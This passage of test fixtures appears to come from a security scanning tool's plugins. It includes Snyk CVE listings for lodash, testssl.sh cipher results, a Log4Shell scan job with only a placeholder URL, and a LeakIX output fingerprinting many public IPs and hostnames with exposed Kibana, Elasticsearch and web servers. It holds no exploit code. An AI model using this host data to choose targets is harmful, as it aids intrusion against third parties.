    "content": "{\n  \"table_versions\": [],\n  \"table_vulnerabilities\": [\n    {\n      \"Vuln_href\": \"SNYK-JS-LODASH-608086\",\n      \"Vuln_text\": \"Prototype Pollution\",\n      \"Vuln_versions\": \"<4.17.17\"\n    },\n    {\n      \"Vuln_href\": \"SNYK-JS-LODASH-590103\",\n      \"Vuln_text\": \"Prototype Pollution\",\n      \"Vuln_versions\": \"<4.17.20\"\n    }\n  ],\n  \"cve_vulnerabilities\": [\n    {\n      \"cve_code\": \"CVE-2021-23337\",\n      \"Vuln_text\": \"Command Injection\"\n    },\n    {\n      \"cve_code\": \"CVE-2020-28500\",\n      \"Vuln_text\": \"Regular Expression Denial of Service (ReDoS)\"\n    },\n    {\n      \"cve_code\": \"CVE-2020-8203\",\n      \"Vuln_text\": \"Prototype Pollution\"\n    },\n    {\n      \"cve_code\": \"CVE-2019-10744\",\n      \"Vuln_text\": \"Prototype Pollution\"\n    },\n    {\n      \"cve_code\": \"CVE-2019-1010266\",\n      \"Vuln_text\": \"Regular Expression Denial of Service (ReDoS)\"\n    },\n    {\n      \"cve_code\": \"CVE-2018-16487\",\n      \"Vuln_text\": \"Prototype Pollution\"\n    },\n    {\n      \"cve_code\": \"CVE-2018-3721\",\n      \"Vuln_text\": \"Prototype Pollution\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/snyk-result-no-findings.json",
    "content": "{\n  \"table_versions\": [],\n  \"table_vulnerabilities\": [],\n  \"cve_vulnerabilities\": []\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/testssl-sh-ciphered.json",
    "content": "[\n  {\n    \"id\": \"service\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"HTTP\"\n  },\n  {\n    \"id\": \"pre_128cipher\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"No 128 cipher limit bug\"\n  },\n  {\n    \"id\": \"cipher_order-tls1_2\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"NOT a cipher order configured\"\n  },\n  {\n    \"id\": \"cipher-tls1_2_xc030\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.2   xc030   ECDHE-RSA-AES256-GCM-SHA384       ECDH 521   AESGCM      256      TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\"\n  },\n  {\n    \"id\": \"cipher-tls1_2_x9f\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.2   x9f     DHE-RSA-AES256-GCM-SHA384         DH 2048    AESGCM      256      TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\"\n  },\n  {\n    \"id\": \"cipher-tls1_2_xcca8\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.2   xcca8   ECDHE-RSA-CHACHA20-POLY1305       ECDH 521   ChaCha20    256      TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256\"\n  },\n  {\n    \"id\": \"cipher-tls1_2_xc02f\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.2   xc02f   ECDHE-RSA-AES128-GCM-SHA256       ECDH 521   AESGCM      128      TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\"\n  },\n  {\n    \"id\": \"cipher-tls1_2_x9e\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.2   x9e     DHE-RSA-AES128-GCM-SHA256         DH 2048    AESGCM      128      TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\"\n  },\n  {\n    \"id\": \"supportedciphers_TLSv1_2\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"ECDHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-GCM-SHA384 ECDHE-RSA-CHACHA20-POLY1305 ECDHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-GCM-SHA256\"\n  },\n  {\n    \"id\": \"cipher_order-tls1_3\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"NOT a cipher order configured\"\n  },\n  {\n    \"id\": \"cipher-tls1_3_x1302\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.3   x1302   TLS_AES_256_GCM_SHA384            ECDH 253   AESGCM      256      TLS_AES_256_GCM_SHA384\"\n  },\n  {\n    \"id\": \"cipher-tls1_3_x1303\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.3   x1303   TLS_CHACHA20_POLY1305_SHA256      ECDH 253   ChaCha20    256      TLS_CHACHA20_POLY1305_SHA256\"\n  },\n  {\n    \"id\": \"cipher-tls1_3_x1301\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"OK\",\n    \"finding\": \"TLSv1.3   x1301   TLS_AES_128_GCM_SHA256            ECDH 253   AESGCM      128      TLS_AES_128_GCM_SHA256\"\n  },\n  {\n    \"id\": \"supportedciphers_TLSv1_3\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"TLS_AES_256_GCM_SHA384 TLS_CHACHA20_POLY1305_SHA256 TLS_AES_128_GCM_SHA256\"\n  },\n  {\n    \"id\": \"cipher_order\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"NOT a cipher order configured\"\n  },\n  {\n    \"id\": \"scanTime\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"443\",\n    \"severity\": \"INFO\",\n    \"finding\": \"46\"\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/testssl-sh-cipherless.json",
    "content": "[\n  {\n    \"id\": \"optimal_proto\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"80\",\n    \"severity\": \"WARN\",\n    \"finding\": \"134.209.85.72:80 doesn't seem to be a TLS/SSL enabled server.\"\n  },\n  {\n    \"id\": \"scanTime\",\n    \"ip\": \"134.209.85.72/134.209.85.72\",\n    \"port\": \"80\",\n    \"severity\": \"WARN\",\n    \"finding\": \"Scan interrupted\"\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/log4shell-job.json",
    "content": "{\n  \"id\": \"876dbc9c-6274-4168-88bf-bd234b021568\",\n  \"organization\": \"_dev\",\n  \"input_ooi\": \"URL|internet|127.0.0.1|tcp|443|http|internet|test.test.test|/\",\n  \"arguments\": {\n    \"url\": \"https://test.test.test/\"\n  },\n  \"dispatches\": {\n    \"normalizers\": [],\n    \"boefjes\": []\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/manual-csv.json",
    "content": "{\n  \"id\": \"5494b67b-760a-4524-840f-303dfcf0fba4\",\n  \"raw_data\": {\n    \"id\": \"35b8c65a-c15a-4e05-9eca-380fb61167a0\",\n    \"boefje_meta\": {\n      \"id\": \"bebde02b-1312-4080-80fb-ffb0f13aa27f\",\n      \"boefje\": {\n        \"id\": \"manual\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": null,\n      \"arguments\": {}\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"manual/csv\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_manual_csv\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/manual-ooi.json",
    "content": "{\n  \"id\": \"2e39466b-edb3-47c9-9988-07d743e50d59\",\n  \"raw_data\": {\n    \"id\": \"32fb5744-47d7-47b6-b38f-b24c3be4ffdc\",\n    \"boefje_meta\": {\n      \"id\": \"f5eaa149-51bd-46f1-8cc3-645e47fb36f6\",\n      \"boefje\": {\n        \"id\": \"manual\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": null,\n      \"arguments\": {}\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"manual/ooi\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_manual_ooi\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/raw/leakix-example.com-output.txt",
    "content": "[AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|14061', number='14061', name='DIGITALOCEAN-ASN'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|178.128.108.228', address=IPv4Address('178.128.108.228'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|178.128.108.228|16', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|14061'), parent=None, start_ip=Reference('IPAddressV4|internet|178.128.108.228'), mask=16), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|178.128.108.228|tcp|80', address=Reference('IPAddressV4|internet|178.128.108.228'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|178.128.108.228', address=IPv4Address('178.128.108.228'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|LiteSpeed||', name='LiteSpeed', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|178.128.108.228|Software|LiteSpeed||', ooi=Reference('IPAddressV4|internet|178.128.108.228'), software=Reference('Software|LiteSpeed||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|LiteSpeed|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|LiteSpeed||'), proof=None, description='Software = \"LiteSpeed\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|12703', number='12703', name='Pulsant (Scotland) Ltd'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|5.153.73.160', address=IPv4Address('5.153.73.160'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|5.153.73.160|19', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|12703'), parent=None, start_ip=Reference('IPAddressV4|internet|5.153.73.160'), mask=19), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|5.153.73.160|tcp|80', address=Reference('IPAddressV4|internet|5.153.73.160'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|5.153.73.160', address=IPv4Address('5.153.73.160'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache||', name='Apache', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|5.153.73.160|Software|Apache||', ooi=Reference('IPAddressV4|internet|5.153.73.160'), software=Reference('Software|Apache||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Apache||'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|40021', number='40021', name='CONTABO'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|144.126.159.199', address=IPv4Address('144.126.159.199'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|144.126.159.199|19', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|40021'), parent=None, start_ip=Reference('IPAddressV4|internet|144.126.159.199'), mask=19), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|144.126.159.199|tcp|80', address=Reference('IPAddressV4|internet|144.126.159.199'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|144.126.159.199', address=IPv4Address('144.126.159.199'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Kibana||', name='Kibana', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|144.126.159.199|Software|Kibana||', ooi=Reference('IPAddressV4|internet|144.126.159.199'), software=Reference('Software|Kibana||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-HIGH', id='KAT-LEAKIX-HIGH', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Kibana|||KAT-LEAKIX-HIGH', finding_type=Reference('KATFindingType|KAT-LEAKIX-HIGH'), ooi=Reference('Software|Kibana||'), proof=None, description='Software = \"Kibana\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|24940', number='24940', name='Hetzner Online GmbH'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|178.63.132.10', address=IPv4Address('178.63.132.10'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|178.63.132.10|16', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|24940'), parent=None, start_ip=Reference('IPAddressV4|internet|178.63.132.10'), mask=16), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|178.63.132.10|tcp|443', address=Reference('IPAddressV4|internet|178.63.132.10'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), Hostname(object_type='Hostname', scan_profile=None, user_id=None, primary_key='Hostname|internet|praktikant.dimata.it', network=Reference('Network|internet'), name='praktikant.dimata.it', dns_zone=None, registered_domain=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx||', name='nginx', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|Hostname|internet|praktikant.dimata.it|Software|nginx||', ooi=Reference('Hostname|internet|praktikant.dimata.it'), software=Reference('Software|nginx||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|nginx|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|nginx||'), proof=None, description='Software = \"nginx\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|14061', number='14061', name='DIGITALOCEAN-ASN'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|104.131.213.169', address=IPv4Address('104.131.213.169'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|104.131.213.169|16', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|14061'), parent=None, start_ip=Reference('IPAddressV4|internet|104.131.213.169'), mask=16), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|104.131.213.169|tcp|80', address=Reference('IPAddressV4|internet|104.131.213.169'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx|1.14.2|', name='nginx', version='1.14.2', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPPort|internet|104.131.213.169|tcp|80|Software|nginx|1.14.2|', ooi=Reference('IPPort|internet|104.131.213.169|tcp|80'), software=Reference('Software|nginx|1.14.2|')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|nginx|1.14.2||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|nginx|1.14.2|'), proof=None, description='Software = \"nginx\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|27843', number='27843', name='WIN EMPRESAS S.A.C.'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|45.236.45.11', address=IPv4Address('45.236.45.11'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|45.236.45.11|22', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|27843'), parent=None, start_ip=Reference('IPAddressV4|internet|45.236.45.11'), mask=22), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|45.236.45.11|tcp|443', address=Reference('IPAddressV4|internet|45.236.45.11'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|45.236.45.11', address=IPv4Address('45.236.45.11'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx|1.18.0|', name='nginx', version='1.18.0', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|45.236.45.11|Software|nginx|1.18.0|', ooi=Reference('IPAddressV4|internet|45.236.45.11'), software=Reference('Software|nginx|1.18.0|')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|nginx|1.18.0||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|nginx|1.18.0|'), proof=None, description='Software = \"nginx\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|43391', number='43391', name='Netdirekt A.S.'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|93.187.201.46', address=IPv4Address('93.187.201.46'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|93.187.201.46|21', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|43391'), parent=None, start_ip=Reference('IPAddressV4|internet|93.187.201.46'), mask=21), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|93.187.201.46|tcp|80', address=Reference('IPAddressV4|internet|93.187.201.46'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|93.187.201.46', address=IPv4Address('93.187.201.46'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx||', name='nginx', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|93.187.201.46|Software|nginx||', ooi=Reference('IPAddressV4|internet|93.187.201.46'), software=Reference('Software|nginx||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|nginx|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|nginx||'), proof=None, description='Software = \"nginx\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|63949', number='63949', name='Akamai Connected Cloud'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|178.79.147.40', address=IPv4Address('178.79.147.40'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|178.79.147.40|18', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|63949'), parent=None, start_ip=Reference('IPAddressV4|internet|178.79.147.40'), mask=18), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|178.79.147.40|tcp|443', address=Reference('IPAddressV4|internet|178.79.147.40'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|178.79.147.40', address=IPv4Address('178.79.147.40'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Elasticsearch|7.17.9|', name='Elasticsearch', version='7.17.9', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|178.79.147.40|Software|Elasticsearch|7.17.9|', ooi=Reference('IPAddressV4|internet|178.79.147.40'), software=Reference('Software|Elasticsearch|7.17.9|')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Elasticsearch|7.17.9||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Elasticsearch|7.17.9|'), proof=None, description='Software = \"Elasticsearch\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|45102', number='45102', name='Alibaba US Technology Co., Ltd.'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|8.219.94.19', address=IPv4Address('8.219.94.19'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|8.219.94.19|15', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|45102'), parent=None, start_ip=Reference('IPAddressV4|internet|8.219.94.19'), mask=15), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|8.219.94.19|tcp|443', address=Reference('IPAddressV4|internet|8.219.94.19'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), Hostname(object_type='Hostname', scan_profile=None, user_id=None, primary_key='Hostname|internet|chat.getdeepin.org', network=Reference('Network|internet'), name='chat.getdeepin.org', dns_zone=None, registered_domain=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx|1.23.3|', name='nginx', version='1.23.3', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|Hostname|internet|chat.getdeepin.org|Software|nginx|1.23.3|', ooi=Reference('Hostname|internet|chat.getdeepin.org'), software=Reference('Software|nginx|1.23.3|')), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|25400', number='25400', name='Telia Norge AS'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|93.124.249.166', address=IPv4Address('93.124.249.166'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|93.124.249.166|17', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|25400'), parent=None, start_ip=Reference('IPAddressV4|internet|93.124.249.166'), mask=17), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|93.124.249.166|tcp|443', address=Reference('IPAddressV4|internet|93.124.249.166'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache|2.4.6|', name='Apache', version='2.4.6', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPPort|internet|93.124.249.166|tcp|443|Software|Apache|2.4.6|', ooi=Reference('IPPort|internet|93.124.249.166|tcp|443'), software=Reference('Software|Apache|2.4.6|')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-LOW', id='KAT-LEAKIX-LOW', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|2.4.6||KAT-LEAKIX-LOW', finding_type=Reference('KATFindingType|KAT-LEAKIX-LOW'), ooi=Reference('Software|Apache|2.4.6|'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|16276', number='16276', name='OVH SAS'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|213.251.158.214', address=IPv4Address('213.251.158.214'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|213.251.158.214|18', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|16276'), parent=None, start_ip=Reference('IPAddressV4|internet|213.251.158.214'), mask=18), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|213.251.158.214|tcp|80', address=Reference('IPAddressV4|internet|213.251.158.214'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|213.251.158.214', address=IPv4Address('213.251.158.214'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache||', name='Apache', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|213.251.158.214|Software|Apache||', ooi=Reference('IPAddressV4|internet|213.251.158.214'), software=Reference('Software|Apache||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Apache||'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|136052', number='136052', name='PT Cloud Hosting Indonesia'), 